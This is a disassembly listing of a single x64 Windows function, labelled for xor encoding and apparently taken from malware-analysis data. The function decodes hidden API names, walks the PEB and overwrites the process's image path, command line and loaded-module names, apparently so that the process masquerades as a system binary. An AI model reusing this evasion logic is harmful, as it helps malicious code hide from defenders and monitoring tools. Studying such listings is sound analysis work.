Function at 0x20795fda0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x658
movups xmmword [rsp + 0x640], xmm6
movdqu xmm0, xmmword [str.GetWindowsDirecte_lh_f__]
movabs rax, 0x6f646e6957746547
movabs rdx, 0x7463657269447377
mov qword [rsp + 0x430], rax
xor eax, eax
mov qword [rsp + 0x438], rdx
mov dword [rsp + 0xf0], 0x5779726f
mov dword [rsp + 0x440], 0x5779726f
mov byte [rsp + 0xf4], 0
mov byte [rsp + 0x444], 0
movups xmmword [rsp + 0xe0], xmm0
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0x430]
mov byte [rsp + rax + 0x430], dl
add rax, 1
cmp rax, 0x14
jne 0x20795fe20
mov rsi, qword [0x207a41280]
lea rbx, [rsp + 0x430]
movabs rax, 0x2c2d665f686c5f65
lea rcx, [rsp + 0x1e0]
mov qword [rsp + 0x1e0], rax
mov rdx, rbx
lea r12, [rsp + 0x220]
mov dword [rsp + 0x1e8], 0x66665e28
mov byte [rsp + 0x1ec], 0
movzx eax, byte [rsp + 0x1e0]
mov qword [rsp + 0xa0], rsi
add eax, 6
mov byte [rsp + 0xac], 0
mov byte [rsp + 0x1e0], al
movzx eax, byte [rsp + 0x1e1]
mov dword [rsp + 0xa8], 0x66665e28
add eax, 6
mov byte [rsp + 0x1e1], al
movzx eax, byte [rsp + 0x1e2]
add eax, 6
mov byte [rsp + 0x1e2], al
movzx eax, byte [rsp + 0x1e3]
add eax, 6
mov byte [rsp + 0x1e3], al
movzx eax, byte [rsp + 0x1e4]
add eax, 6
mov byte [rsp + 0x1e4], al
movzx eax, byte [rsp + 0x1e5]
add eax, 6
mov byte [rsp + 0x1e5], al
movzx eax, byte [rsp + 0x1e6]
add eax, 6
mov byte [rsp + 0x1e6], al
movzx eax, byte [rsp + 0x1e7]
add eax, 6
mov byte [rsp + 0x1e7], al
movzx eax, byte [rsp + 0x1e8]
add eax, 6
mov byte [rsp + 0x1e8], al
movzx eax, byte [rsp + 0x1e9]
add eax, 6
mov byte [rsp + 0x1e9], al
movzx eax, byte [rsp + 0x1ea]
add eax, 6
mov byte [rsp + 0x1ea], al
movzx eax, byte [rsp + 0x1eb]
add eax, 6
mov byte [rsp + 0x1eb], al
call fcn.2079560c0
mov edx, 0x104
mov rcx, r12
call rax
movzx eax, word [0x207a41282]
xor ecx, ecx
movzx r15d, word [0x207a4126c]
mov word [rsp + 0x216], cx
movzx r14d, word [0x207a4126e]
xor eax, 0x79
movzx r13d, word [str.GetWindowsDirecte_lh_f__]
movzx ebp, word [0x207a41272]
xor r15d, 0x79
mov word [rsp + 0x20], ax
movzx eax, word [0x207a41284]
xor r14d, 0x79
movzx edi, word [0x207a41274]
movzx r11d, word [0x207a41276]
xor r13d, 0x79
xor ebp, 0x79
movzx r10d, word [0x207a41278]
movzx r9d, word [0x207a4127a]
xor eax, 0x79
mov dword [rsp + 0x430], 0x79
movzx r8d, word [0x207a4127c]
mov word [rsp + 0x2e], ax
xor edi, 0x79
movabs rax, 0x1001c0057000b
movzx ecx, word [0x207a4127e]
xor r11d, 0x79
xor r10d, 0x79
xor r9d, 0x79
movzx edx, word [0x207a41280]
movdqu xmm0, xmmword [0x207a41290]
xor r8d, 0x79
mov qword [rsp + 0x1f0], rax
xor ecx, 0x79
mov dword [rsp + 0x1f8], 0x79001c
xor edx, 0x79
mov word [rsp + 0x1fc], r15w
mov word [rsp + 0x210], dx
movabs rdx, 0x1c000b00160015
mov word [rsp + 0x1fe], r14w
mov word [rsp + 0x200], r13w
mov word [rsp + 0x202], bp
mov word [rsp + 0x204], di
mov word [rsp + 0x206], r11w
mov word [rsp + 0x208], r10w
mov word [rsp + 0x20a], r9w
mov word [rsp + 0x20c], r8w
mov word [rsp + 0x20e], cx
movups xmmword [rsp + 0x1e0], xmm0
movzx eax, word [rsp + 0x20]
movdqu xmm1, xmmword [rsp + 0x1f0]
movdqu xmm2, xmmword [rsp + 0x200]
mov word [rsp + 0x212], ax
movzx eax, word [rsp + 0x2e]
mov word [rsp + 0x214], ax
movabs rax, 0x90001001c0025
mov qword [rsp + 0x434], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x43c], rdx
movups xmmword [rsp + 0x444], xmm1
movups xmmword [rsp + 0x454], xmm2
mov qword [rsp + 0x464], rax
xor eax, eax
nop
movzx edx, word [rsp + rax*2 + 0x434]
mov ecx, dword [rsp + 0x430]
xor edx, ecx
mov word [rsp + rax*2 + 0x434], dx
add rax, 1
cmp rax, 0x1b
jne 0x207960130
xor edx, edx
lea r8, [rsp + 0x434]
mov rcx, r12
mov word [rsp + 0x46a], dx
mov edx, 0x104
call qword [sym.imp.msvcrt.dll_wcscat_s]
mov ecx, 0x104
call sub.msvcrt.dll_malloc
mov edx, 0x104
mov r8, r12
mov rcx, rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.msvcrt.dll_wcscpy_s]
movdqu xmm0, xmmword [str.RtlEnterCritical]
movabs rax, 0x6e6f6974636553
movabs rdx, 0x7265746e456c7452
movabs rcx, 0x6c61636974697243
mov rdi, qword gs:[0x60]
mov qword [rsp + 0x190], rax
mov r15, qword [rdi + 0x38]
movups xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x430], rdx
mov qword [rsp + 0x438], rcx
mov qword [rsp + 0x440], rax
xor eax, eax
movzx edx, byte [rsp + rax + 0x430]
mov byte [rsp + rax + 0x430], dl
add rax, 1
cmp rax, 0x17
jne 0x2079601f0
mov rax, qword [0x207a412b0]
lea r13, [rsp + 0x1c0]
mov rdx, rbx
mov rcx, r13
mov qword [rsp + 0x38], rax
mov eax, 0x96
mov word [rsp + 0x40], ax
movabs rax, 0x969ed496969e8e94
mov qword [rsp + 0x1c0], rax
mov eax, 0x96
mov word [rsp + 0x1c8], ax
movzx eax, byte [rsp + 0x1c0]
xor eax, 0xfffffffa
mov byte [rsp + 0x1c0], al
movzx eax, byte [rsp + 0x1c1]
xor eax, 0xfffffffa
mov byte [rsp + 0x1c1], al
movzx eax, byte [rsp + 0x1c2]
xor eax, 0xfffffffa
mov byte [rsp + 0x1c2], al
movzx eax, byte [rsp + 0x1c3]
xor eax, 0xfffffffa
mov byte [rsp + 0x1c3], al
movzx eax, byte [rsp + 0x1c4]
xor eax, 0xfffffffa
mov byte [rsp + 0x1c4], al
movzx eax, byte [rsp + 0x1c5]
xor eax, 0xfffffffa
mov byte [rsp + 0x1c5], al
movzx eax, byte [rsp + 0x1c6]
xor eax, 0xfffffffa
mov byte [rsp + 0x1c6], al
movzx eax, byte [rsp + 0x1c7]
xor eax, 0xfffffffa
mov byte [rsp + 0x1c7], al
movzx eax, byte [rsp + 0x1c8]
xor eax, 0xfffffffa
mov byte [rsp + 0x1c8], al
call fcn.2079560c0
mov rcx, r15
call rax
mov rax, qword [rdi + 0x20]
movabs rdx, 0x6f4e605f6a5e6469
movdqu xmm6, xmmword [str.MogDidoPidj__No]
mov dword [rsp + 0x110], 0x6269646d
lea r15, [rax + 0x60]
mov byte [rsp + 0x114], 0
movabs rax, 0x506f646944676f4d
mov qword [rsp + 0x430], rax
xor eax, eax
mov qword [rsp + 0x438], rdx
mov dword [rsp + 0x440], 0x6269646d
mov byte [rsp + 0x444], 0
movups xmmword [rsp + 0x100], xmm6
nop dword [rax]
movzx edx, byte [rsp + rax + 0x430]
add edx, 5
mov byte [rsp + rax + 0x430], dl
add rax, 1
cmp rax, 0x14
jne 0x207960360
mov eax, 0x92
mov rbp, qword [0x207a412d0]
mov rdx, rbx
mov rcx, r13
mov word [rsp + 0x50], ax
movabs rax, 0x929ad092929a8a90
mov qword [rsp + 0x1c0], rax
mov eax, 0x92
mov word [rsp + 0x1c8], ax
movzx eax, byte [rsp + 0x1c0]
mov qword [rsp + 0x48], rbp
xor eax, 0xfffffffe
mov byte [rsp + 0x1c0], al
movzx eax, byte [rsp + 0x1c1]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c1], al
movzx eax, byte [rsp + 0x1c2]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c2], al
movzx eax, byte [rsp + 0x1c3]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c3], al
movzx eax, byte [rsp + 0x1c4]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c4], al
movzx eax, byte [rsp + 0x1c5]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c5], al
movzx eax, byte [rsp + 0x1c6]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c6], al
movzx eax, byte [rsp + 0x1c7]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c7], al
movzx eax, byte [rsp + 0x1c8]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c8], al
call fcn.2079560c0
mov rcx, r15
mov rdx, r12
call rax
mov rax, qword [rdi + 0x20]
mov dword [rsp + 0x130], 0x6269646d
movups xmmword [rsp + 0x430], xmm6
mov byte [rsp + 0x134], 0
lea r15, [rax + 0x70]
xor eax, eax
mov dword [rsp + 0x440], 0x6269646d
mov byte [rsp + 0x444], 0
movups xmmword [rsp + 0x120], xmm6
nop word cs:[rax + rax]
movzx edx, byte [rsp + rax + 0x430]
add edx, 5
mov byte [rsp + rax + 0x430], dl
add rax, 1
cmp rax, 0x14
jne 0x2079604b0
mov r14d, 0x92
mov r11d, 0x92
mov rdx, rbx
mov rcx, r13
mov qword [rsp + 0x1c0], rbp
mov word [rsp + 0x1c8], r14w
movzx eax, byte [rsp + 0x1c0]
mov word [rsp + 0x60], r11w
xor eax, 0xfffffffe
mov qword [rsp + 0x58], rbp
mov byte [rsp + 0x1c0], al
movzx eax, byte [rsp + 0x1c1]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c1], al
movzx eax, byte [rsp + 0x1c2]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c2], al
movzx eax, byte [rsp + 0x1c3]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c3], al
movzx eax, byte [rsp + 0x1c4]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c4], al
movzx eax, byte [rsp + 0x1c5]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c5], al
movzx eax, byte [rsp + 0x1c6]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c6], al
movzx eax, byte [rsp + 0x1c7]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c7], al
movzx eax, byte [rsp + 0x1c8]
xor eax, 0xfffffffe
mov byte [rsp + 0x1c8], al
call fcn.2079560c0
mov rdx, r12
mov rcx, r15
mov r15d, 0x5765
call rax
mov rax, qword [rdi + 0x18]
movabs rdx, 0x6d614e656c694665
movdqu xmm0, xmmword [str.GetModuleFileNamNphHa_ra_nepe__h]
mov word [rsp + 0xd0], r15w
mov r12, qword [rax + 0x10]
mov byte [rsp + 0xd2], 0
movabs rax, 0x6c75646f4d746547
mov qword [rsp + 0x1c0], rax
mov eax, 0x5765
mov qword [rsp + 0x1c8], rdx
mov word [rsp + 0x1d0], ax
xor eax, eax
mov byte [rsp + 0x1d2], 0
movups xmmword [rsp + 0xc0], xmm0
nop dword [rax + rax]
movzx edx, byte [rsp + rax + 0x1c0]
mov byte [rsp + rax + 0x1c0], dl
add rax, 1
cmp rax, 0x12
jne 0x207960618
mov qword [rsp + 0x1a0], rsi
mov rdx, r13
mov r14, r12
lea r15, [rsp + 0x1a0]
mov dword [rsp + 0x1a8], 0x66665e28
mov rcx, r15
mov byte [rsp + 0x1ac], 0
movzx eax, byte [rsp + 0x1a0]
mov qword [rsp + 0xb0], rsi
add eax, 6
mov byte [rsp + 0xbc], 0
mov byte [rsp + 0x1a0], al
movzx eax, byte [rsp + 0x1a1]
mov dword [rsp + 0xb8], 0x66665e28
add eax, 6
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0x1a2]
add eax, 6
mov byte [rsp + 0x1a2], al
movzx eax, byte [rsp + 0x1a3]
add eax, 6
mov byte [rsp + 0x1a3], al
movzx eax, byte [rsp + 0x1a4]
add eax, 6
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x1a5]
add eax, 6
mov byte [rsp + 0x1a5], al
movzx eax, byte [rsp + 0x1a6]
add eax, 6
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0x1a7]
add eax, 6
mov byte [rsp + 0x1a7], al
movzx eax, byte [rsp + 0x1a8]
add eax, 6
mov byte [rsp + 0x1a8], al
movzx eax, byte [rsp + 0x1a9]
add eax, 6
mov byte [rsp + 0x1a9], al
movzx eax, byte [rsp + 0x1aa]
add eax, 6
mov byte [rsp + 0x1aa], al
movzx eax, byte [rsp + 0x1ab]
add eax, 6
mov byte [rsp + 0x1ab], al
call fcn.2079560c0
mov r8d, 0x104
mov rdx, rbx
xor ecx, ecx
call rax
mov rsi, qword [sym.imp.msvcrt.dll__wcsicmp]
jmp 0x20796077c
mov r14, qword [r14]
cmp r12, r14
je 0x2079609fc
mov rdx, qword [r14 + 0x50]
mov rcx, rbx
call rsi
test eax, eax
jne 0x207960770
movups xmmword [rsp + 0x1c0], xmm6
lea r12, [r14 + 0x48]
xor eax, eax
mov dword [rsp + 0x1d0], 0x6269646d
mov dword [rsp + 0x150], 0x6269646d
mov byte [rsp + 0x154], 0
mov byte [rsp + 0x1d4], 0
movups xmmword [rsp + 0x140], xmm6
nop dword [rax]
movzx edx, byte [rsp + rax + 0x1c0]
add edx, 5
mov byte [rsp + rax + 0x1c0], dl
add rax, 1
cmp rax, 0x14
jne 0x2079607c8
mov r10d, 0x92
mov r9d, 0x92
mov rdx, r13
mov rcx, r15
mov qword [rsp + 0x1a0], rbp
mov word [rsp + 0x1a8], r10w
movzx eax, byte [rsp + 0x1a0]
mov word [rsp + 0x70], r9w
xor eax, 0xfffffffe
mov qword [rsp + 0x68], rbp
mov byte [rsp + 0x1a0], al
movzx eax, byte [rsp + 0x1a1]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0x1a2]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a2], al
movzx eax, byte [rsp + 0x1a3]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a3], al
movzx eax, byte [rsp + 0x1a4]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x1a5]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a5], al
movzx eax, byte [rsp + 0x1a6]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0x1a7]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a7], al
movzx eax, byte [rsp + 0x1a8]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a8], al
call fcn.2079560c0
mov rcx, r12
mov rdx, qword [rsp + 0x20]
lea r12, [r14 + 0x58]
call rax
movups xmmword [rsp + 0x1c0], xmm6
xor eax, eax
mov dword [rsp + 0x1d0], 0x6269646d
mov dword [rsp + 0x170], 0x6269646d
mov byte [rsp + 0x174], 0
mov byte [rsp + 0x1d4], 0
movups xmmword [rsp + 0x160], xmm6
nop
movzx edx, byte [rsp + rax + 0x1c0]
add edx, 5
mov byte [rsp + rax + 0x1c0], dl
add rax, 1
cmp rax, 0x14
jne 0x207960900
mov r8d, 0x92
mov ecx, 0x92
mov rdx, r13
mov qword [rsp + 0x78], rbp
mov qword [rsp + 0x1a0], rbp
mov word [rsp + 0x1a8], r8w
movzx eax, byte [rsp + 0x1a0]
mov word [rsp + 0x80], cx
mov rcx, r15
xor eax, 0xfffffffe
mov byte [rsp + 0x1a0], al
movzx eax, byte [rsp + 0x1a1]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0x1a2]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a2], al
movzx eax, byte [rsp + 0x1a3]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a3], al
movzx eax, byte [rsp + 0x1a4]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x1a5]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a5], al
movzx eax, byte [rsp + 0x1a6]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0x1a7]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a7], al
movzx eax, byte [rsp + 0x1a8]
xor eax, 0xfffffffe
mov byte [rsp + 0x1a8], al
call fcn.2079560c0
mov rdx, qword [rsp + 0x20]
mov rcx, r12
call rax
movdqu xmm0, xmmword [0x207a412f0]
mov r12, qword [rdi + 0x38]
movabs rax, 0x6a6b65705f614f
movabs rsi, 0x61725d614868704e
movabs rdi, 0x685d5f6570656e3f
mov qword [rsp + 0x1c0], rsi
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1c8], rdi
movups xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0x1d0], rax
xor eax, eax
movzx edx, byte [rsp + rax + 0x1c0]
add edx, 4
mov byte [rsp + rax + 0x1c0], dl
add rax, 1
cmp rax, 0x17
jne 0x207960a50
mov rax, qword [0x207a41300]
mov edx, 0x91
lea rcx, [rsp + 0x96]
mov qword [rsp + 0x88], rax
mov eax, 0x91
mov word [rsp + 0x90], ax
movabs rax, 0x9199d39191998993
mov qword [rsp + 0x96], rax
mov word [rsp + 0x9e], dx
movzx eax, byte [rsp + 0x96]
mov rdx, r13
xor eax, 0xfffffffd
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x97]
xor eax, 0xfffffffd
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x98]
xor eax, 0xfffffffd
mov byte [rsp + 0x98], al
movzx eax, byte [rsp + 0x99]
xor eax, 0xfffffffd
mov byte [rsp + 0x99], al
movzx eax, byte [rsp + 0x9a]
xor eax, 0xfffffffd
mov byte [rsp + 0x9a], al
movzx eax, byte [rsp + 0x9b]
xor eax, 0xfffffffd
mov byte [rsp + 0x9b], al
movzx eax, byte [rsp + 0x9c]
xor eax, 0xfffffffd
mov byte [rsp + 0x9c], al
movzx eax, byte [rsp + 0x9d]
xor eax, 0xfffffffd
mov byte [rsp + 0x9d], al
movzx eax, byte [rsp + 0x9e]
xor eax, 0xfffffffd
mov byte [rsp + 0x9e], al
call fcn.2079560c0
mov rcx, r12
call rax
nop
movups xmm6, xmmword [rsp + 0x640]
xor eax, eax
add rsp, 0x658
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret